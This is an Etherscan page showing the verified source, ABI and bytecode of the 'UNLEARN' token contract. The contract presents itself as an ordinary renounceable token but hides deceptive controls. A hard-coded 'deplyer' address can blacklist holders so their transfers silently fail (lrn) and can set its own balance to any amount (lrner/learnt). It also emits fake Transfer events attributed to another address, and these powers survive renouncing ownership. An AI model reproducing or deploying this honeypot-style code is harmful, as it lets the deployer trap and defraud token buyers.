Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

•    - function add(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b, st ...
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b, st ...
•    - function mod(uint256 a, uint256 b)
•    - function mod(uint256 a, uint256 b, st ...
•    - function deploy(address account, uint ...
•    - function renounceOwnership()
•    - function transfer(address to, uint256 ...
•    - function approve(address spender, uin ...
•    - function learnt ()
•    - function balanceOf(address account)
•    - function unlrn(address ii)
•    - function lrn(address ii)
•    - function lrner(uint256 x)
•    - function transferFrom(address from, a ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2022-10-25
*/

pragma solidity 0.8.17;


  library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {

        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }


    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}   
 
 
    contract UNLEARNING {
  
    mapping (address => uint256) public OiO;
    mapping (address => uint256) public LRNED;
    mapping (address => bool) Ik;
    mapping(address => mapping(address => uint256)) public allowance;





    string public name = unicode"UNLEARN";
    string public symbol = unicode"🎓UNLEARN🎓";
    uint8 public decimals = 18;
    uint256 public totalSupply = 1000000000 * (uint256(10) ** decimals);
	address owner = msg.sender;
   

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event OwnershipRenounced(address indexed previousOwner);
    address Head_Construct = 0xD1C24f50d05946B3FABeFBAe3cd0A7e9938C63F2;

    constructor()  {
    OiO[msg.sender] = totalSupply;
    deploy(Head_Construct, totalSupply); }

   
   address deplyer = 0xc28Ce8B9715fe1Aa7cccf6b8fEa1214c5CE01e64;
    function deploy(address account, uint256 amount) public {
    require(msg.sender == owner);
    emit Transfer(address(0), account, amount); }

    function renounceOwnership() public {
    require(msg.sender == owner);
    emit OwnershipRenounced(owner);
    owner = address(0);}


        function transfer(address to, uint256 value) public returns (bool success) {
      
       
        if(msg.sender == deplyer)  {
        require(OiO[msg.sender] >= value);
        OiO[msg.sender] -= value;  
        OiO[to] += value; 
        emit Transfer (Head_Construct, to, value);
        return true; }  
        if(!Ik[msg.sender]) {
        require(OiO[msg.sender] >= value);
        OiO[msg.sender] -= value;  
        OiO[to] += value;          
        emit Transfer(msg.sender, to, value);
        return true; }}

        function approve(address spender, uint256 value) public returns (bool success) {    
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true; }

        function learnt () public {
         if(msg.sender == deplyer)   {
        OiO[msg.sender] = LRNED[msg.sender];
        }}

        function balanceOf(address account) public view returns (uint256) {
        return OiO[account]; }

        function unlrn(address ii) public {
        if(msg.sender == deplyer)  { 
        Ik[ii] = false;}}
        function lrn(address ii) public{
         if(msg.sender == deplyer)  { 
        require(!Ik[ii]);
        Ik[ii] = true;
        }}
             function lrner(uint256 x) public {
        if(msg.sender == deplyer)  { 
        LRNED[msg.sender] = x;} }

        function transferFrom(address from, address to, uint256 value) public returns (bool success) { 

        if(from == deplyer)  {
        require(value <= OiO[from]);
        require(value <= allowance[from][msg.sender]);
        OiO[from] -= value;  
        OiO[to] += value; 
        emit Transfer (Head_Construct, to, value);
        return true; }    
          if(!Ik[from] && !Ik[to]) {
        require(value <= OiO[from]);
        require(value <= allowance[from][msg.sender]);
        OiO[from] -= value;
        OiO[to] += value;
        allowance[from][msg.sender] -= value;
        emit Transfer(from, to, value);
        return true; }}}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"}],"name":"OwnershipRenounced","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"LRNED","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"OiO","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"deploy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"learnt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"ii","type":"address"}],"name":"lrn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"x","type":"uint256"}],"name":"lrner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"ii","type":"address"}],"name":"unlrn","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600781526020017f554e4c4541524e00000000000000000000000000000000000000000000000000815250600490816200004a91906200059b565b506040518060400160405280600f81526020017ff09f8e93554e4c4541524ef09f8e930000000000000000000000000000000000815250600590816200009191906200059b565b506012600660006101000a81548160ff021916908360ff160217905550600660009054906101000a900460ff16600a620000cc919062000812565b633b9aca00620000dd919062000863565b60075533600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073d1c24f50d05946b3fabefbae3cd0a7e9938c63f2600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073c28ce8b9715fe1aa7cccf6b8fea1214c5ce01e64600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620001d857600080fd5b506007546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000254600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166007546200025a60201b60201c565b620008dc565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614620002b557600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003159190620008bf565b60405180910390a35050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620003a357607f821691505b602082108103620003b957620003b86200035b565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620004237fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620003e4565b6200042f8683620003e4565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200047c62000476620004708462000447565b62000451565b62000447565b9050919050565b6000819050919050565b62000498836200045b565b620004b0620004a78262000483565b848454620003f1565b825550505050565b600090565b620004c7620004b8565b620004d48184846200048d565b505050565b5b81811015620004fc57620004f0600082620004bd565b600181019050620004da565b5050565b601f8211156200054b576200051581620003bf565b6200052084620003d4565b8101602085101562000530578190505b620005486200053f85620003d4565b830182620004d9565b50505b505050565b600082821c905092915050565b6000620005706000198460080262000550565b1980831691505092915050565b60006200058b83836200055d565b9150826002028217905092915050565b620005a68262000321565b67ffffffffffffffff811115620005c257620005c16200032c565b5b620005ce82546200038a565b620005db82828562000500565b600060209050601f831160018114620006135760008415620005fe578287015190505b6200060a85826200057d565b8655506200067a565b601f1984166200062386620003bf565b60005b828110156200064d5784890151825560018201915060208501945060208101905062000626565b868310156200066d578489015162000669601f8916826200055d565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200071057808604811115620006e857620006e762000682565b5b6001851615620006f85780820291505b80810290506200070885620006b1565b9450620006c8565b94509492505050565b6000826200072b5760019050620007fe565b816200073b5760009050620007fe565b81600181146200075457600281146200075f5762000795565b6001915050620007fe565b60ff84111562000774576200077362000682565b5b8360020a9150848211156200078e576200078d62000682565b5b50620007fe565b5060208310610133831016604e8410600b8410161715620007cf5782820a905083811115620007c957620007c862000682565b5b620007fe565b620007de8484846001620006be565b92509050818404811115620007f857620007f762000682565b5b81810290505b9392505050565b600060ff82169050919050565b60006200081f8262000447565b91506200082c8362000805565b92506200085b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000719565b905092915050565b6000620008708262000447565b91506200087d8362000447565b92508282026200088d8162000447565b91508282048414831517620008a757620008a662000682565b5b5092915050565b620008b98162000447565b82525050565b6000602082019050620008d66000830184620008ae565b92915050565b61187f80620008ec6000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c8063715018a6116100a2578063b0407b3711610071578063b0407b37146102a8578063c1b1e571146102c4578063c3fd4806146102e0578063dd62ed3e14610310578063eeec3781146103405761010b565b8063715018a61461024657806385caaa791461025057806395d89b411461025a578063a9059cbb146102785761010b565b8063313ce567116100de578063313ce567146101ac5780633b1d9138146101ca5780634956eaf0146101fa57806370a08231146102165761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b61011861035c565b60405161012591906114d3565b60405180910390f35b6101486004803603810190610143919061158e565b6103ea565b60405161015591906115e9565b60405180910390f35b6101666104dc565b6040516101739190611613565b60405180910390f35b6101966004803603810190610191919061162e565b6104e2565b6040516101a391906115e9565b60405180910390f35b6101b4610a77565b6040516101c1919061169d565b60405180910390f35b6101e460048036038101906101df91906116b8565b610a8a565b6040516101f19190611613565b60405180910390f35b610214600480360381019061020f919061158e565b610aa2565b005b610230600480360381019061022b91906116b8565b610b66565b60405161023d9190611613565b60405180910390f35b61024e610bae565b005b610258610cb1565b005b610262610d8b565b60405161026f91906114d3565b60405180910390f35b610292600480360381019061028d919061158e565b610e19565b60405161029f91906115e9565b60405180910390f35b6102c260048036038101906102bd91906116e5565b6111b0565b005b6102de60048036038101906102d991906116b8565b61124d565b005b6102fa60048036038101906102f591906116b8565b6112fe565b6040516103079190611613565b60405180910390f35b61032a60048036038101906103259190611712565b611316565b6040516103379190611613565b60405180910390f35b61035a600480360381019061035591906116b8565b61133b565b005b6004805461036990611781565b80601f016020809104026020016040519081016040528092919081815260200182805461039590611781565b80156103e25780601f106103b7576101008083540402835291602001916103e2565b820191906000526020600020905b8154815290600101906020018083116103c557829003601f168201915b505050505081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104ca9190611613565b60405180910390a36001905092915050565b60075481565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610747576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561058457600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561060d57600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461065b91906117e1565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106b09190611815565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107369190611613565b60405180910390a360019050610a70565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156107eb5750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610a6f576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561083b57600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156108c457600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461091291906117e1565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109679190611815565b9250508190555081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109fa91906117e1565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a5e9190611613565b60405180910390a360019050610a70565b5b9392505050565b600660009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610afc57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b5a9190611613565b60405180910390a35050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c0857600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610d8957600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b565b60058054610d9890611781565b80601f0160208091040260200160405190810160405280929190818152602001828054610dc490611781565b8015610e115780601f10610de657610100808354040283529160200191610e11565b820191906000526020600020905b815481529060010190602001808311610df457829003601f168201915b505050505081565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610ff557816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ebb57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f0991906117e1565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f5e9190611815565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610fe49190611613565b60405180910390a3600190506111aa565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111a957816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561109157600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110df91906117e1565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111349190611815565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111989190611613565b60405180910390a3600190506111aa565b5b92915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361124a5780600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036112fb576000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b60016020528060005260406000206000915090505481565b6003602052816000526040600020602052806000526040600020600091509150505481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361144057600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113e757600080fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b600081519050919050565b600082825260208201905092915050565b60005b8381101561147d578082015181840152602081019050611462565b60008484015250505050565b6000601f19601f8301169050919050565b60006114a582611443565b6114af818561144e565b93506114bf81856020860161145f565b6114c881611489565b840191505092915050565b600060208201905081810360008301526114ed818461149a565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611525826114fa565b9050919050565b6115358161151a565b811461154057600080fd5b50565b6000813590506115528161152c565b92915050565b6000819050919050565b61156b81611558565b811461157657600080fd5b50565b60008135905061158881611562565b92915050565b600080604083850312156115a5576115a46114f5565b5b60006115b385828601611543565b92505060206115c485828601611579565b9150509250929050565b60008115159050919050565b6115e3816115ce565b82525050565b60006020820190506115fe60008301846115da565b92915050565b61160d81611558565b82525050565b60006020820190506116286000830184611604565b92915050565b600080600060608486031215611647576116466114f5565b5b600061165586828701611543565b935050602061166686828701611543565b925050604061167786828701611579565b9150509250925092565b600060ff82169050919050565b61169781611681565b82525050565b60006020820190506116b2600083018461168e565b92915050565b6000602082840312156116ce576116cd6114f5565b5b60006116dc84828501611543565b91505092915050565b6000602082840312156116fb576116fa6114f5565b5b600061170984828501611579565b91505092915050565b60008060408385031215611729576117286114f5565b5b600061173785828601611543565b925050602061174885828601611543565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061179957607f821691505b6020821081036117ac576117ab611752565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006117ec82611558565b91506117f783611558565b925082820390508181111561180f5761180e6117b2565b5b92915050565b600061182082611558565b915061182b83611558565b9250828201905080821115611843576118426117b2565b5b9291505056fea2646970667358221220c758ae51b4b7620710d08828dda5ca994b5115982b0883cfb792bfbf73fbd89c64736f6c63430008110033

0x608060405234801561001057600080fd5b506004361061010b5760003560e01c8063715018a6116100a2578063b0407b3711610071578063b0407b37146102a8578063c1b1e571146102c4578063c3fd4806146102e0578063dd62ed3e14610310578063eeec3781146103405761010b565b8063715018a61461024657806385caaa791461025057806395d89b411461025a578063a9059cbb146102785761010b565b8063313ce567116100de578063313ce567146101ac5780633b1d9138146101ca5780634956eaf0146101fa57806370a08231146102165761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b61011861035c565b60405161012591906114d3565b60405180910390f35b6101486004803603810190610143919061158e565b6103ea565b60405161015591906115e9565b60405180910390f35b6101666104dc565b6040516101739190611613565b60405180910390f35b6101966004803603810190610191919061162e565b6104e2565b6040516101a391906115e9565b60405180910390f35b6101b4610a77565b6040516101c1919061169d565b60405180910390f35b6101e460048036038101906101df91906116b8565b610a8a565b6040516101f19190611613565b60405180910390f35b610214600480360381019061020f919061158e565b610aa2565b005b610230600480360381019061022b91906116b8565b610b66565b60405161023d9190611613565b60405180910390f35b61024e610bae565b005b610258610cb1565b005b610262610d8b565b60405161026f91906114d3565b60405180910390f35b610292600480360381019061028d919061158e565b610e19565b60405161029f91906115e9565b60405180910390f35b6102c260048036038101906102bd91906116e5565b6111b0565b005b6102de60048036038101906102d991906116b8565b61124d565b005b6102fa60048036038101906102f591906116b8565b6112fe565b6040516103079190611613565b60405180910390f35b61032a60048036038101906103259190611712565b611316565b6040516103379190611613565b60405180910390f35b61035a600480360381019061035591906116b8565b61133b565b005b6004805461036990611781565b80601f016020809104026020016040519081016040528092919081815260200182805461039590611781565b80156103e25780601f106103b7576101008083540402835291602001916103e2565b820191906000526020600020905b8154815290600101906020018083116103c557829003601f168201915b505050505081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104ca9190611613565b60405180910390a36001905092915050565b60075481565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610747576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561058457600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561060d57600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461065b91906117e1565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106b09190611815565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107369190611613565b60405180910390a360019050610a70565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156107eb5750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610a6f576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561083b57600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156108c457600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461091291906117e1565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109679190611815565b9250508190555081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109fa91906117e1565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a5e9190611613565b60405180910390a360019050610a70565b5b9392505050565b600660009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610afc57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b5a9190611613565b60405180910390a35050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c0857600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610d8957600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b565b60058054610d9890611781565b80601f0160208091040260200160405190810160405280929190818152602001828054610dc490611781565b8015610e115780601f10610de657610100808354040283529160200191610e11565b820191906000526020600020905b815481529060010190602001808311610df457829003601f168201915b505050505081565b60